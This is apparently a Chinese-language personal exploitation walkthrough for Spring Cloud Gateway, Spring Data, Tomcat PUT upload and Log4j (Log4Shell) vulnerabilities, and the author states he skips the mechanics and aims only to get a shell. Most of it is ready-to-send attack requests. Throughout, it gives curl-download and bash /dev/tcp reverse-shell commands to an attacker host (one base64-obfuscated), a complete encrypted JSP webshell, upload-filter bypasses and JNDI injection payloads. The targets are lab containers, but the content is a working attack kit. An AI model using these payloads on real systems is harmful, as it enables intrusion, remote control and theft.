Spring 漏洞
【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞
天命:照旧,不研究漏洞点, 只管getshell
三个POC即可命令执行
Bug1:请求头:Content-Length 这行不用写,发送的时候burp会自己加上去
Bug2:请求体可能要换两行,或删除多余空格才能正常发送,反正自己多试试不同的形式,POC是没错的,只是格式有点奇怪
【第一个POC】里面的whoami命令就是命令执行,自行换命令即可
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 114.132.96.157:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
第二个POC,打过去完事,没有东西回显的
POST /actuator/gateway/refresh HTTP/1.1
Host: 114.132.96.157:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
第三个POC,有回显的,就是第一个POC的命令的执行回显
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 114.132.96.157:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
那个root就是回显,你用ls命令显示得更明显
【CVE-2018-1273】springboot漏洞 - RCE
SpringBoot版本是:SpringBoot 1.2.0.RELEASE
也可能是:SpringBoot版本为2.0.0.RELEASE
特点:无回显触发RCE
先扫路径:/users
存在路径后,随便输入点东西,然后抓包
POST /users?page=&size=5 HTTP/1.1
Host: 43.136.101.245:40003
Content-Length: 160
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://43.136.101.245:40003
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://43.136.101.245:40003/users
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("命令")]=&password=&repeatedPassword=
POC:篡改post传参的输入命令即可触发RCE
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("命令")]=&password=&repeatedPassword=
此漏洞不能直接反弹shell,需要先下载反弹shell文件,然后执行shell文件
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl -o /tmp/bash.sh http://43.136.101.245:81/shell.sh")]=&password=&repeatedPassword=
// POC 里面执行的命令
curl -o /tmp/bash.sh http://43.136.101.245:81/shell.sh
// shell.sh 文件里面的反弹shell命令
bash -c "bash -i >& /dev/tcp/43.136.101.245/7777 0>&1"
当然了使用curl下载前,你需要先搭建一个web服务器,然后上传好shell文件
服务器回显500的状态码,表示成功
云服务器开启端口监听,然后执行一下文件即可
Tomcat 漏洞
【CVE-2017-12615】Tomcat漏洞 - upload
通过云服务器+docker+vulhub搭建的靶场,打开后是默认页面
访问根目录,抓取重放模块
抓包,把GET改成PUT请求,在冰鞋那里生成木马,并粘贴进去
代码如下,记得删除里面自带的中文注释
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
}
String key="e45e329feb5d925b";
for (int i = 0; i < decodebs.length; i++) {
decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return decodebs;
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
out.clear();
out=pageContext.pushBody();
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>
放入数据包中,并发送201是成功
这里文件名是禁止 jsp 上传的所以需要绕过,
有三种方法: 文件名后斜杠 或 %20或 ::$DATA
我这里用了斜杠
使用冰蝎连接,记得选择加密方式,我就是没选择加密方式卡了一晚上
getshell成功
log4j 漏洞
【CVE-2021-44228】Log4j2 核弹级漏洞
天命:阿里安全团队发现的核弹级漏洞
天命:原理就不讲了,我也是一知半懂
在vulhub进入log4j目录,拉去镜像,用docker-compose启动
步骤一:先探测是否有漏洞
先去dnslog拿一个域名,现在网站更新为:https://dnslog.org/
在这个目录下可以传一个参数,把JNDI注入放进去,放自己拿到的域名上去
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.b6c00a42.dnslog.store} HTTP/1.1
Host: 43.136.101.245:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
回显是不会出现任何东西的
记录在dnslog那里,查看一下记录就会发现,有漏洞,并且返回了java的版本信息
步骤二:Getshell
先下载工具:https://link.csdn.net/?target=https%3A%2F%2Fwww.lanzouy.com%2FiLyJTxlpxli
把工具先上传到云服务器(这次我们用真机云服务器进行反弹shell,虽然靶场跟攻击机都是同一个服务器,不过也不影响)
然后再构造payload:bash -i >& /dev/tcp/43.136.101.245/7777 0>&1
转一下编码,加上点东西,最后变成这样
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzYuMTAxLjI0NS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
可以使用在线直接生成的网站:https://ares-x.com/tools/runtime-exec
效果还是很屌的。
然后来到服务器,先用一下命令开启工具(注意:JDK必须1.8版本)
【样例讲解】
java -jar JNDI-Injection-Exploit-1.0--SHOT-all.jar -C "刚刚生成的payload" -A "攻击机的IP地址"
【实例】
java -jar JNDI-Injection-Exploit-1.0--SHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzYuMTAxLjI0NS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "43.136.101.245"
选一个exp放入请求,直接请求即可
发送数据包前先打开攻击机的端口监听,因为工具会反弹shell过来
我这里payload是监听7777端口:nc -lvnp 7777
然后发送数据包攻击,就会反弹shell到攻击机的端口
攻击数据包如下,响应400也不用管,是正常的
GET /solr/admin/cores?action=${jndi:rmi://43.136.101.245:1099/8hwvbv} HTTP/1.1
Host: 43.136.101.245:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
然后攻击机接收到反弹shell成功